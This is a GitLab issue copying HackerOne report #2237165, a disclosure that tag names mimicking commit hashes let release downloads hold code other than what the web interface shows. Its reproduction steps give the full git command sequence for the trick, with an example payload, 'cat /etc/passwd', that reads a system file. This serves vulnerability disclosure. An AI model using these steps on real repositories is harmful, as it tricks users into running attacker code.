The GitLab web interface does not ensure the integrity of information when downloading the source code from installation packages or tags.
HackerOne report #2237165 by st4nly0n on 2023-11-02, assigned to @ngeorge1:
Report | Attachments | How To Reproduce
Report
Summary
The GitLab.com web interface cannot guarantee the integrity of files downloaded from a repository through a specific tag. Despite the web interface displaying seemingly secure commits, there is a possibility that files downloaded via a tag may contain malicious content. This vulnerability arises from an attacker's ability to create a tag with a name that resembles a long git hash.
It's important to note that this issue shares the same attack context and impact as described in reports #1760033 (The Gitlab web interface does not guarantee fil... (#381815 - closed)) and #2053335 (Improper encoding of special character in tag n... (#417775 - closed)). This situation raises various scenarios in which an attacker could exploit this vulnerability to introduce malicious code, such as:
- An attacker can create a repository that includes tags and versions that, when downloaded from the web interface, contain malicious code.
- An attacker with developer permissions on a project can create tags and versions that contain malicious code, which could be downloaded from the web interface (as detailed in reports #1760033 and #2053335 and this report).
Steps To Reproduce
Below are the steps to follow, dividing the actions of the victim user and the attacker user:
Steps to be performed as the victim user:
1. Create a new repository.
2. Invite a developer.
3. Clone the repository and enter it:
git clone <URL_REPO>
cd <NAME_REPO>
4. Create a file called hello.sh with harmless content:
echo 'echo "hello world"' > hello.sh
5. Push the hello.sh file to the remote repository:
git add hello.sh &&\
git commit -m 'Add hello.sh' &&\
git push origin HEAD -f
Steps to be followed as the attacker user (the user invited in step 2):
6. Clone the same repository and enter it:
git clone <URL_REPO>
cd <NAME_REPO>
7. Create and switch to a new branch named hack:
git checkout -b 'hack'
8. Modify the content of the hello.sh file with your chosen payload:
### EXAMPLE
echo 'cat /etc/passwd' > hello.sh
9. Commit the changes to the hello.sh file:
git add hello.sh &&\
git commit -m 'HACK'
10. Create a tag with the name of the hash of the last commit, pointing to the penultimate commit:
git tag `git rev-parse HEAD` `git rev-parse HEAD~1`
11. Push all tags to the remote:
git push origin --tags
12. Push the hack branch:
git push origin HEAD -f
13. Delete the hack branch from the remote:
git push origin -d hack
14. Create a release.
Steps to be followed as the victim user:
15. Access the GitLab.com web interface and from the /-/releases or /-/tags section, download the installation files available in the release. Then, run the hello.sh file.
These steps illustrate the attack scenario and how an attacker could compromise the integrity of files downloaded by the victim user from the GitLab web interface.
Watch the attack scenario and impact in the following proof-of-concept video, in which a victim checks the commit made to the files through the web interface before downloading them from a tag. Upon confirming that there is no security risk, the victim downloads the installation files and runs them on their system. In this case, the result was the execution of code injected by the attacker.
Additionally, the repository used as an attack scenario to illustrate this behavior is provided:
https://gitlab.com/user_V/poc-0001
What is the current bug behavior?
The GitLab web interface does not ensure the integrity of files when downloading the source code from a tag.
What is the expected correct behavior?
The information presented in the GitLab web interface regarding modifications made to any file should match what the end user will obtain when downloading the source code from a tag.
Output of checks
This bug occurs on GitLab.com
Impact
This vulnerability could enable an attacker to introduce malicious content within a tag, which, in turn, could compromise the integrity and security of files downloaded by users through the GitLab.com web interface. Depending on the nature of the malicious content, this could lead to unauthorized code execution, the acquisition of sensitive information, or other adverse security impacts on users.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: